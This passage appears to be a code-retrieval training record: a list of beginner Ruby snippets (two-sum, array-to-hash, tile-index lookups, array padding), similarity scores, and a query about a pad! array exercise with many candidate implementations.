\"left-up\"])\n tiles_array.each_with_index {|dir, idx| return idx if direction == dir}\nend", "def slow_dance(dir, arr)\n arr.each_with_index do |tile, index|\n return index if tile == dir\n end\nend", "def fast_dance(tile_direction, new_tiles_data_structure)\n new_tiles_data_structure.each do |ele|\n return new_tiles_data_structure.index(ele) if ele == tile_direction\n end\nend", "def slow_dance(dir, arr)\n tiles_array.find_index(dir)\nend", "def slow_dance_in_a_burning_room(direction, tiles_array)\n tiles_array.each_with_index do |dir, index|\n return index if dir == direction\n end\nend", "def twosum(array, target)\n return [] if array.length<=1\n cache = {}\n array.each.with_index do |e,i|\n if cache.include? (target-e)\n return [i,cache[target-e]]\n else\n cache[e] = i\n end\n end\n return []\nend", "def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end", "def array_to_indices_hash(array)\n array.inject({}) {|hash,e| hash[hash.size] = e; hash }\n end", "def slow_dance(direction, tiles)\n tiles.each_with_index do |dir, idx|\n return idx if direction == dir\n end\nend", "def fast_dance(direction)\n TILES_HASH[direction]\n end", "def awesome(arr, target)\n hash = Hash.new(0)\n i = 0\n j = i + 1\n while i < arr.size\n hash[arr[i] + arr[j]] += 1 \n if j < arr.size\n j += 1\n else\n i += 1\n if j = i + 1 > arr.length\n j = i \n else\n j = i + 1\n \n end\n\n end\n \n end\n return true if hash[target] >= 1\n false\nend", "def to_hashed(tile_data)\n tokenized = tile_data.split(\",\").map{|x| x.to_i}\n tiles = []\n i = 0\n while i < tokenized.length do\n x = x_coord(tokenized[i])\n y = y_coord(tokenized[i])\n index = tokenized[i+1]\n tiles << {x: x, y: y, index: index}\n i += 3\n end\n tiles\nend", "def array_to_hash(array) \n count=0\n\n hash = Hash.new\n (array.length).times do \n hash[count+1] = array[count]\n count += 1\n end\n return hash\n end", "def two_sum_big_gun(array, target)\n nums = Hash.new(0)\n\n array.each do |el|\n nums[el] += 1\n end\n\n array.any? do |el|\n wing = target - el\n nums[wing] > 0\n end\n\nend", "def hash_two_sum(array, target)\n hashy = Hash.new(0)\n array.each do |int|\n hashy[int] += 1\n end\n\n hashy.keys.each do |key|\n hashy[key] -= 1\n return true if hashy[target - key] > 0\n end\n\n false\nend", "def find_dup(array)\n array.inject(Hash.new(0)) { |hash, item| hash[item] += 1; hash }.key(2)\nend", "def hash_two_sum(array, target)\n numbers = Hash.new(0)\n array.each { |num| numbers[num] = true }\n numbers.each { |k, v| return true if numbers.has_key?(target - k)}\nend", "def two_sum_hash(numbers, target)\n n_index = {} \n (0...numbers.length).each do |i2|\n i1 = n_index[target - numbers[i2]] \n\n # We know that n[i2] > n[i1] because input array is sorted.\n return [i1 + 1, i2 + 1] if i1 && i1 != i2\n n_index[numbers[i2]] = i2\n end\nend", "def slow_dance(dir, tiles)\n tiles.index(dir)\nend", "def two_sum_hash(array, target)\n hsh = Hash.new(0)\n\n array.each do |el|\n hsh[el] += 1\n return true if el == target / 2 && hsh[el] >= 2\n return true if hsh[target - el] >= 1 && el != target / 2\n end\n false\nend", "def to_indices_hash(arr)\n #::Hash[*(0..arr.length - 1).to_a.zip(arr).flatten]\n arr.inject({}) {|hash,e| hash[hash.size] = e; hash }\n end", "def slow_dance(target, array)\n\n array.each.with_index do |phrase, i|\n return i if array[i] == target \n end \n end", "def find_duplicate(array)\n numberCount = {}\n array.each do |element|\n if !numberCount[element]\n numberCount[element] = 1\n else \n return element\n end \n end \n -1\nend", "def array_to_hash(map)\r\n h = Hash.new # key: item, value: 1D array of [row, column]\r\n for r in 0...map.length\r\n for c in 0...map[r].length\r\n item = map[r][c]\r\n if item!= nil\r\n h[item] = [r, c]\r\n end\r\n end\r\n end\r\n h[\"ORIGIN\"] = [0, 0] # special case. always fixed at (0,0)\r\n return h\r\nend", "def hash_offset(array, offset)\r\n hash = {}\r\n \r\n i = 0\r\n while i < array.length \r\n if i >= (array.length - offset) #if i >= 22, in this case. So this condition applies for the last 4 elements of the array\r\n hash[array[i-array.length + offset]] = array[i] # hash[array[22-26+4]] --> hash[array[0]] --> hash[\"a\"]=array[22] --> hash[\"a\"]=\"w\"\r\n else\r\n hash[(array[i].ord + offset).chr] = array[i] #otherwise do the normal offset by 4\r\n end\r\n i += 1\r\n end\r\n return hash\r\nend", "def my_solution(array)\n hash = {}\n\n array.each do |element|\n hash[element] = 0 if element > 0\n end\n\n (1..array.size).each do |i|\n return i if hash[i].nil?\n end\nend", "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend", "def two_sum?(array, target)\n hash_map = Hash.new\n array.each do |ele|\n return true if hash_map[ele]\n hash_map[target - ele] = true\n end\n false\nend", "def num_duplicates\n count = 0\n nums = Hash.new(0)\n @array.each do |num|\n nums[num] += 1\n count += 1 if nums[num] > 1\n end\n count\nend", "def one_pass_two_sum(array, target)\n hash = {}\n array.each.with_index do |i, index|\n complement = target - i\n if hash.has_key?(complement)\n return [hash.fetch(complement), index]\n end\n hash[i] = index\n end\nend", "def two_sum(array, target)\n num_hash = {}\n \n array.each_with_index do |num, index|\n difference = target - num\n if num_hash[difference]\n return [num_hash[difference], index]\n else\n num_hash[num] = index\n end\n end\nend", "def find_elements(arr)\n elements = Hash.new(0)\n\n arr.each { |ele| elements[ele] += 1 }\n\n elements\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def fast_dance(direction, tiles)\n\nend", "def hash_map_two_sum?(arr, target_sum)\n hash = Hash.new(0)\n arr.each do |num|\n hash[num] += 1\n end\n arr.each do |num|\n target = target_sum - num\n hash[num] -= 1\n return true if hash[target] > 0\n hash[num] += 1\n end\n false\nend", "def hash_two_sum(arr, target)\n h = Hash.new { |h, k| h[k] = [] }\n arr.each_with_index do |num, i|\n return true unless h[target - num].empty?\n h[num] << i\n end\n\n false\nend", "def map_then_iterate_two_sum(array, target)\n hash = {}\n array.each.with_index do |i, index|\n hash[i] = index\n end\n indexes = []\n array.each.with_index do |ii, index|\n complement = target - ii \n if hash.has_key?(complement) && hash.fetch(complement) != index\n indexes.push(index, hash.fetch(complement))\n return indexes\n end\n end\nend", "def solution(arr)\n temp_hash_odd_balls = {}\n\n arr.each { |el| temp_hash_odd_balls[el] ? temp_hash_odd_balls.delete(el) : temp_hash_odd_balls[el] = 0 }\n\n temp_hash_odd_balls.keys.first\nend", "def two_sum(arr, target) \n hash = {}\n \n i = 0\n for val in arr do\n val1 = arr[i]\n val2 = target - val1 \n if hash[val2] \n return [hash[val2], i]\n else\n hash[val1] = i \n end\n i += 1\n end\n\n nil \nend", "def slow_dance(string, tile_direction)\n\n tile_directions.each_with_index do |direction, i|\n return i if string == direction\n end\n nil\nend", "def array_to_hash(array)\r\n array.map.each_with_index { |x, i| [i, x] }.to_h # For each value and index create array that has the index,value couple as values and convert it to hash.\r\nend", "def bitmap\n bit_table.flatten.each_with_index.map do |bit, index|\n [index, bit_table.transpose.flatten.index(bit)]\n end.to_h\nend", "def hash_two_sum?(arr, target)\n hash = {}\n arr.each do |num|\n return true if hash[target - num]\n hash[num] = true\n end\n false\nend", "def matchTile(ind)\n\t\t@tile_Array[ind].set_match\n\tend", "def find_unique(array)\n unique_id = 0\n\n array.each do |num|\n unique_id ^= num\n end\n\n unique_id\nend", "def dupe_indices(arr)\n idxs = Hash.new { |h, k| h[k] = [] }\n \n arr.each_with_index do |ele, i|\n idxs[ele] << i\n end\n\n return idxs.select { |ele, arr| arr.length > 1 }\nend", "def grapher(array)\n hash = Hash.new { |hash, key| hash[key] = [] }\n array.each do |pair|\n hash[pair[0]] ||= []\n hash[pair[0]] << pair[1]\n end\n hash\nend", "def contains_duplicate(nums)\n hash_table = {}\n (0..nums.length).each do |i|\n if hash_table.include? nums[i]\n return true\n else\n hash_table[nums[i]] = 1\n end\n end\n return false\nend", "def unique_elements(array)\n hash = Hash.new(0)\n array.each { |ele| hash[ele] += 1 }\n\n hash.keys\nend", "def dupe_indices(array)\n hash = Hash.new{ |k, v| k[v] = [] }\n\n array.each_with_index do |char, i|\n hash[char] << i\n end\n\n return hash.select { |k, v| v.length > 1 }\n\nend", "def hash_map_two_sum(arr,target_sum)\n count = {}\n arr.each do |ele|\n count[ele] = true\n return true if count[target_sum - ele] \n \n end\n false\nend", "def find_duplicates(array)\n result_hash = {}\n result_array = []\n\n array.each do |num|\n if result_hash[num].nil?\n result_hash[num] = 1\n else\n result_hash[num] += 1\n end\n end\n\n result_hash.each do |k, v|\n result_array.push(k) if v > 1\n end\n\n result_array\nend", "def slow_dance(dir, arr)\n (0...arr.length).each { |idx| return idx if dir == arr[idx] }\nend", "def jumping_on_clouds arr\n jump_count = 1\n # create a duplicated array\n jump_arr = arr.dup\n # mark the first cloud as the first jump\n jump_arr[0] = 'J' #jump\n #mark the last loud as the last jump\n jump_arr[-1] = 'E' #end\n p jump_arr\n\n jump_arr.map.with_index do |cloud, i|\n if cloud == 'J'\n if jump_arr[i + 2] == 0 \n jump_arr[i + 2] = 'J'\n jump_count += 1\n elsif jump_arr[i + 1] == 0 && jump_arr[i + 2] == 1\n jump_arr[i + 1] = 'J'\n jump_count += 1\n end\n end\n break if jump_arr[i + 2] == 'E'\n end\n p jump_arr\n p jump_count\nend", "def array_to_hash(guess_arr)\n guess_hash = {}\n guess_arr.each_with_index do |guess, guess_idx|\n if guess_hash[guess].nil?\n guess_hash[guess] = [guess_idx]\n else\n guess_hash[guess].push(guess_idx)\n end\n end\n guess_hash\n end", "def slow_dance(move, arr)\n arr.each_with_index do |dir, idx|\n return idx if move == dir\n end\nend", "def redundancy(array, sensitive=true)\n if sensitive == false\n array = lower(array)\n end\n base = array.to_a.sort! { |x, y| x.to_s <=> y.to_s }.uniq\n occurence = {}\n n, b = 0, 0\n base.each do |x|\n while x == array[n]\n n += 1\n end\n occurence[x] = n - b\n b = n\n end\n puts occurence\nend", "def count_elements(array)\n new_hash = {}\n count = 0\n array.each do |x|\n if new_hash.key? x\n new_hash[x] = new_hash[x] + 1\n #binding.pry\n else\n new_hash[x] = 1\n end\n end\n new_hash\n # code goes here\nend", "def two_sum?(array, target)\n hash = Hash.new\n array.each do |el|\n interm_target = target - el\n return true if hash.keys.include?(el)\n hash[interm_target] = true\n end\n false\nend", "def duplicate(arr)\n hsh = {}\n\n arr.each do |ele|\n return ele if hsh[ele]\n hsh[ele] = true\n end\n\n false\nend", "def two_sum(numbers, target)\n ##set hash\n hash = {}\n ##set array\n arr = []\n\n numbers.each_with_index do |val, idx|\n if hash.key?(target - val)\n arr.push(hash[target - val])\n arr.push(idx + 1)\n break\n else\n hash[val] = idx + 1\n end\n end\n\n arr\nend", "def two_sum(nums, target)\n map = {}\n\n (0...nums.size).each do |i|\n current_value = nums[i]\n\n if map[target - current_value]\n return [map[target - current_value] + 1, i + 1]\n else\n map[current_value] = i\n end\n end\nend", "def generate_possible_areas_for_all_numbered_tiles\n t = Time.now\n puts 'Start: Generate possible areas for all numbered tiles'\n all_possible_areas = {}\n\n # @b_nl.each_with_value do |value, i, j|\n # if value != 0 then\n # restricted_board = create_restricted_board [i,j]\n # t_area = Time.now\n # next if [i,j] == [7,1]\n # puts \"Summoning for [#{i},#{j}]\"\n # a = summon_areas([i,j], value, restricted_board)\n\n # puts \"Summoned area for [#{i},#{j}], time: \" + (Time.now - t_area).to_i.to_s + 's size ' + a.count.to_s\n # all_possible_areas[\"#{i}-#{j}\"] = a\n # end\n (0..@row_count-1).to_a.each do |i|\n (0..@col_count-1).to_a.each do |j|\n # Summon for each numbered tile(non zero)\n if @b_nl[i,j] != 0 then\n restricted_board = create_restricted_board [i,j]\n t_area = Time.now\n next if [i,j] == [7,1]\n puts \"Summoning for [#{i},#{j}]\"\n a = summon_areas([i,j],@b_nl[i,j], restricted_board)\n\n puts \"Summoned area for [#{i},#{j}], time: \" + (Time.now - t_area).to_i.to_s + 's size ' + a.count.to_s\n all_possible_areas[\"#{i}-#{j}\"] = a\n end\n end\n end\n puts 'Finish: Generate possible areas for all numbered tiles, time: ' + (Time.now - t).to_i.to_s + 'seconds'\n all_possible_areas[\"7-1\"] = [[[]]]\n all_possible_areas\n end", "def unoptimized_find_unique_integer(id_array)\n histogram = Hash.new(0)\n id_array.each do |id|\n histogram[id] += 1\n end\n histogram.keys.each do |key|\n return key if histogram[key] == 1\n end\n return nil\nend", "def create_tiles_to_areas_hash_for_solution solution_areas\n numbered_tiles_for_solution = solution_areas.map{|s| @numbered_tiles_hash.values & s}.flatten(1)\n numbered_tiles_hash = {}\n\n numbered_tiles_for_solution.each do |numbered_tile|\n numbered_tiles_hash[numbered_tile.join('-')] = solution_areas.detect{|area| area.include? numbered_tile}\n end\n\n numbered_tiles_hash\n end", "def slow_dance(step, array)\n index = 0\n array.each_with_index do |el, i|\n index = i if el == step\n end\n index\nend", "def two_sum(nums, target)\n hash = {}\n nums.each_with_index do |num, idx|\n other_num = target - num\n other_num_idx = hash[other_num]\n return [other_num_idx, idx] if other_num_idx\n\n hash[num] = idx\n end\n []\nend", "def two_sum2(arr, target_sum)\n hash = {}\n\n arr.each do |el|\n return true if hash[target_sum - el]\n hash[el] = true\n end\n\n false\nend", "def two_sum(nums, target)\n hash = {}\n nums.each_with_index do |val, index|\n ans = target - val\n return [hash[ans], index] if hash.include?(ans)\n\n hash[val] = index\n end\nend", "def single_number(array)\n mapper = {}\n answer = []\n number = array.size\n for i in 0...number\n mapper[array[i]] = 0 if mapper[array[i]].nil?\n mapper[array[i]] += 1\n end\n mapper.map do |key, value|\n answer.push(key) if value == 1\n end\n answer\nend", "def find_lonely_num(array_of_numbers)\n a = Hash.new(0)\n array_of_numbers.each do |elem|\n a[elem]+=1\n end\n a.key(1)\nend", "def duplicates(array)\n frequency = Hash.new(0)\n array.each do |element|\n frequency[element] += 1\n end\n frequency.each do |k, v|\n return k if v > 1\n end\nend", "def two_sum(nums, target)\r\n numsLen = nums.size\r\n returnArr = Array.new(2,0)\r\n myHashTable = {nums[0]=>0}\r\n temp = 0\r\n \r\n if numsLen < 2\r\n return returnArr\r\n else\r\n for i in 1..numsLen-1\r\n temp = target - nums[i]\r\n if myHashTable.has_key?(temp) == true\r\n returnArr[0] = myHashTable[temp]\r\n returnArr[1] = i\r\n break\r\n else\r\n myHashTable.store(nums[i],i)\r\n end\r\n end\r\n end\r\n return returnArr\r\nend", "def two_sum?(arr, target)\n hash = {}\n\n arr.each do |el|\n return true if hash[target - el]\n hash[el] = true\n end\n\n false\n\nend", "def test_many\n result_hash={}\n 1000.times do\n x = square_same_color?(random_chess_board_square, random_chess_board_square)\n result_hash[x] ? result_hash[x] += 1 : result_hash[x] = 1\n end\n p result_hash\nend" ]
[ "0.7861287", "0.77635753", "0.75977266", "0.7586032", "0.7337834", "0.7315145", "0.7287052", "0.72731376", "0.72502065", "0.72376174", "0.7206896", "0.7113757", "0.7110152", "0.7090259", "0.7063407", "0.70596355", "0.7054865", "0.705089", "0.7046278", "0.7044824", "0.7025681", "0.69967365", "0.69684684", "0.69069767", "0.69019574", "0.68986267", "0.6806555", "0.6780399", "0.6720665", "0.66731566", "0.6636495", "0.6618158", "0.66061914", "0.65676993", "0.65486395", "0.65207493", "0.6451392", "0.6425649", "0.639955", "0.6341193", "0.631991", "0.6225263", "0.62184507", "0.6214069", "0.61908865", "0.6178957", "0.61770225", "0.6163516", "0.61554986", "0.61325157", "0.6091079", "0.60897326", "0.60850245", "0.60763705", "0.6074778", "0.60541296", "0.6049914", "0.60348696", "0.6024112", "0.5998724", "0.59973186", "0.59512246", "0.5945788", "0.59283817", "0.59270114", "0.59076464", "0.59049267", "0.58880365", "0.58661914", "0.5861463", "0.5841805", "0.584046", "0.581647", "0.58096164", "0.5798803", "0.57846427", "0.5770969", "0.57693416", "0.5753545", "0.5746268", "0.57428753", "0.57231605", "0.57217056", "0.5708108", "0.5687453", "0.568538", "0.5681248", "0.56755185", "0.5672084", "0.56662405", "0.5657788", "0.5652749", "0.56527364", "0.5648765", "0.564825", "0.564545", "0.5642633", "0.5627518", "0.5627408", "0.5605038" ]
0.83233476
0
I worked on this challenge with Brian Wagner. I spent 1 hour on this challenge. Complete each step below according to the challenge directions and include it in this file. Also make sure everything that isn't code is commented in the file. =begin 0. Pseudocode What is the input? An array, an integer (>minimum size of the new array), OPTIONAL argument for new content What is the output? (i.e. What should the code return?) New array of the new size OPTIONAL w/ the specified content What are the steps needed to solve the problem? test size of the array IF size is min array then RETURN ELSE OPTIONAL FOR PAD > create a new variable to store the new array IF an element is specified, then padded element = that element push items to array until it meets the min. size ELSE push nil to array END IF END IF =end 1. Initial Solution
def pad!(array, min_size, value = nil) #destructive if array.length >= min_size return array else loop do array.push(value) break if array.length >= min_size end p array return array end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n end\n if min_size > array.length\n remainder = min_size - array.length\n remainder.times do array << value\n end\n end\n p array\nend", "def pad!(array, min_size, value = nil) #destructive\n solution_array = []\n if min_size <= array.length\n #p array\n return array\n elsif min_size > array.length\n solution_array = array\n times_to_pad = min_size - array.length\n #p times_to_pad\n times_to_pad.times do\n solution_array << value\n #p solution_array\n end\n end\n return solution_array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if min_size <= array.length\n return array\n else\n padding = array.length - min_size\n counter = array.length\n while counter < min_size\n array << value\n counter += 1\n end\n return array\n end\n\nend", "def pad!(array, min_size, value = nil) #destructive\n# Your code here\n\nif array.length == min_size || min_size == 0\n return array\nend\n\nif min_size > array.length\n until array.length == min_size\n array.push(value)\n end\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\r\n if min_size > array.size \r\n pad_array = Array.new(min_size - array.size, value) \r\n pad_array.each do |x|\r\n array << x \r\n end \r\n else\r\n array \r\n end\r\n p array\r\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n return array if min_size <= array.length\n while min_size > array.length\n array.push(value)\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n difference = min_size - array.length\n if min_size <= array.length\n p array\n elsif min_size == 0\n p array\n elsif min_size > 0\n difference.times do |x|\n array.push(value) \n end\n end\n p array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if array.size == min_size\n return array\n else\n while min_size > array.size\n array << value\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if min_size <= array.size\n return array\n else\n new_array_size = (min_size - array.size)\n while new_array_size > 0\n array.push(value)\n new_array_size = (new_array_size - 1)\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if array.length >= min_size\n return array\n else\n padding = min_size - array.length\n padding.times do |x|\n array.push(value)\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil)\n#destructive\n\n length = array.length\n\n if length >= min_size\n return p array\n\n elsif min_size == 0\n p array = []\n return p array = []\n\n else\n\n while array.length < min_size\n if value != nil\n array << value\n else\n array << nil\n end\n end\n return p array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if min_size < array.length || min_size == array.length \n return array\n else \n x = min_size - array.length\n x.times do\n array.push(value)\n end\n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n \n if array.length >= min_size \n p array\n else\n \n while array.length < min_size\n array = array.push(value)\n end \n \n p array\n end\n \nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if array.length >= min_size \n \treturn array\n else \n \t(min_size-array.length).times do\n \t\tarray.push(value)\n \tend\n \treturn array\n end\nend", "def pad(input_array, min_size, value = nil) #non-destructive\n array = []\n input_array.each do |x|\n array << x\n end\n if array.length < min_size\n i = array.length\n while i < min_size\n array[i] = value\n i += 1\n end\n end\n p array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length > min_size || min_size == 0\n return array\n else\n while array.length < min_size do\n array.push(value)\n end\n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n while array.length < min_size\n array.push(value)\n end\n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n difference = min_size - array.length\n for i in 1..difference\n array.push(value)\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length < min_size\n padding_needed = min_size - array.length\n padding_needed.times { array.push value }\n end\n array\nend", "def pad!(array, min_size, value = nil)\n if array.length >= min_size\n return array\n else\n x = array.length\n until x == min_size; array.push value; x += 1\n end\n p array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n array.keep_if{ |a| a <= array.length}\n difference = min_size - array.length\n counter = 0\n while counter < difference\n array << value\n counter += 1\n end\n p array\n # self = ans_array\nreturn array\nend", "def pad!(array, min_size, value = nil) #destructive\n\tif min_size <= array.length || min_size == 0\n\t\t\n\t\treturn array\n\n\telse\n\t\t(min_size - array.length).times {\n\n\t\t\t\tarray.push(value)\n\t\t}\n\t\t\n\t\treturn array\n\n\tend\n\nend", "def pad!(array, min_size, value = nil) #destructive\n if min_size <= array.length \n return array\n else \n x = min_size - array.length\n x.times do\n array.push(value)\n end\n return array\n end\nend", "def pad(array, min_size, value = nil) #non-\n other_array=[]\n if min_size==0\n other_array << array\n other_array.flatten!\n else\n num_things=min_size-array.length\n if array == []\n num_things.times do\n other_array << value\n end\n else\n other_array << array\n other_array.flatten!\n num_things.times do\n other_array << value\n end\n end\n end\n other_array\nend", "def pad!(array, min_size, value = nil) #destructive\n if min_size <= array.length\n return array\n end\n \n until array.length == min_size do\n array.push(value)\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n diff = min_size - array.length\n while diff > 0\n array.push(value)\n diff -= 1\n end\n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n pad_size = min_size - array.length\n counter = 0\n while counter < pad_size\n array << value\n counter+=1\n end\n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if min_size <= array.length\n return array\n else\n size = min_size - array.length\n counter = 0\n while counter < size\n array << value\n counter += 1\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n return array if min_size <= array.length\n while min_size > array.length\n \tarray.push(value)\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n\n if array.length >= min_size\n return array\n else\n array.push(value) until array.length == min_size\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n if(min_size <= array.length)\n return array\n else\n counter = min_size - array.length\n while counter > 0\n array << value\n counter -= 1\n end \n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n end\n until min_size <= array.length\n array << value\n end\n array\nend", "def pad(array, min_size, value = nil) #non-destructive\n \n new_array = [].concat(array)\n # array.each { |el| new_array << el } \n \n difference = min_size - array.length\n #array.length #the variable len = array.length\n if difference > 0\n # puts positive amount of difference into array through default value\n difference.times { |el| new_array << value }\n end\n \n \n return new_array\n \nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n \treturn array\n else\n \tuntil array.length == min_size\n \t\tarray.push(value)\n \tend\n \treturn array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n difference = min_size - array.length\n #array.length #the variable len = array.length\n if difference > 0\n # puts positive amount of difference into array through default value\n difference.times { |x| array.push value }\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n difference = min_size - array.length\n new_array = Array.new(difference, value)\n padded_array = array.push(new_array)\n array = padded_array.flatten!\n p array\nend", "def pad!(array, min_size, value = nil) #destructive\n length = array.length\n if length >= min_size\n return array\n else\n until array.length == min_size\n return array.push(value = nil)\n end\n end \nend", "def pad!(array, min_size, value = nil) #destructive\n \n if min_size <= array.length\n p array\n else \n p array << array + [value] * (min_size - array.length) \n end\nend", "def pad(array, min_size, value = nil) #non - destructive\n array_modified = []\n if min_size <= array_modified.length\n array_modified = array.map { |x| x }\n elsif min_size == 0\n array_modified = array.map { |x| x }\n else\n array_modified = array.map { |x| x }\n (min_size - array_modified.length).times {\n array_modified.push(value)\n }\n return array_modified\n end\nend", "def pad!(array, min_size, value = nil) #destructive\r\n # Your code here\r\n if array.length >= min_size \r\n return array\r\n else \r\n until array.length == min_size\r\n array.push value\r\n end\r\n return array\r\n end\r\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length - min_size < 0\n difference = array.length - min_size\n difference = difference.abs\n for i in 0..difference - 1\n array.push(value)\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if array.length < min_size\n x = min_size - array.length\n x.times do array << value\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n array_size = array.count\n if min_size > array_size\n \tfor i in 0...(min_size - array_size)\n \t\tarray.push(value)\n \tend\n \treturn array\n else\n \treturn array\n end\nend", "def pad!(array, min_size, value = nil)\n if min_size <= array.length\n return array\n else\n while min_size - array.length > 0\n array << value\n end\n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n index = array.length\n while index < min_size\n array[index] = value\n index += 1\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if array.length >= min_size \n return array\n else \n until array.length == min_size\n array.push value\n end\n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n diff = min_size - array.length\n diff.times do\n array << value\n end\n return array\n end\nend", "def pad!(array, min_size, value=nil) #destructive\n if min_size == 0 || array.length >= min_size\n return array\n else (min_size - array.length).times { |array, x| array << value.to_i } \n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n difference = array.length - min_size\n difference = difference.abs\n if array.length - min_size < 0\n for i in 0..difference - 1\n array.push(value)\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if array.length < min_size\n while array.length < min_size\n array << value\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n end\n # refactor for a cooler method than while loop\n # use an index for looping\n i = array.length\n while i < min_size\n array.push value\n i += 1\n end\n array\nend", "def pad!(array, min_size, value = nil) #non-destructive\n # Your code here\n array_length = array.length\n array2 = array\n\n if array_length < min_size\n\n while array_length < min_size do\n array2.push(value)\n array_length +=1\n end\n end\n return array2\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n difference = min_size - array.length\n if difference <= 0\n return array\n else\n difference.times do\n array.push(value)\n end\n end\n\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\r\n\treturn array << value if array.length <= min_size\r\n\treturn array\r\n # #size_difference = min_size - array.length\r\n # (min_size - array.length).times do\r\n # array << value\r\n # end \r\n # array\r\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length < min_size\n i = array.length\n while i < min_size\n array[i] = value\n i += 1\n end\n end\n p array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.size >= min_size\n return array\n end\n while array.size < min_size do\n array << value\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.size >= min_size\n return array\n end\n while array.size < min_size do\n array << value\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length < min_size\n for i in 1..(min_size - array.length)\n array << value\n end\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n difference = min_size - array.length\n if difference <= 0\n return array\n else\n return array.concat(Array.new(difference, value))\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n difference = min_size - array.length\n while difference > 0 do\n array << value\n difference-=1\n end\n array\nend", "def pad(array, min_size, value=nil) #non-destructive\n# Your code here\n\n new_array = array.clone #sets the new array the same value of array but with a different object id essentially not affecting the original array\n\nif min_size > array.length\n until new_array.length == min_size\n new_array.push(value)\n #we are pushing to the new_array\n end\nend\n\n new_array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.length < min_size\n (min_size - array.length).times { array.push(value) }\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.count >= min_size\n return array\n else\n (min_size - array.count).times do\n array << value\n end\n return array\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n# Your code here\n\nif min_size > array.length\n until array.length == min_size\n array.push(value)\n #we are pushing to the same array\n end\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n if array.size >= min_size\n \treturn array\n else\n \ti = min_size - array.size\n \ti.times { array << value }\n \tarray\n end\nend", "def pad!(array, min_size, value = nil) #destructive\n i = min_size - array.length\n\n i.times {array.push(value)} if array.length < min_size\n array\nend", "def pad!(array, min_size, value = nil) #destructive\r\n iter = min_size - array.length\r\n if min_size <= array.length\r\n return array\r\n else\r\n iter.times {array << value}\r\n end\r\n return array\r\nend", "def pad!(array, min_size, value = nil) #destructive\n if min_size <= array.length\n return array\n else\n until array.length == min_size\n array << value\n end\n array\n end\n end", "def pad(arr, min_size, value = nil) #non-destructive\n array = arr.dup\n if array.length < min_size\n padding_needed = min_size - array.length\n padding_needed.times { array.push value }\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n while min_size > array.length\n array.push(value)\n end\n array\nend", "def pad!(array, min_size, value = nil) #destructive\n while array.length < min_size\n array << value\n end\n return array\nend", "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if min_size > array.length\n array << value\n return array\n else\n return array\n end\nend", "def pad(array, min_size, value = nil) #non - destructive\n\n\tarray_modified = []\n\n\tif min_size <= array_modified.length || min_size == 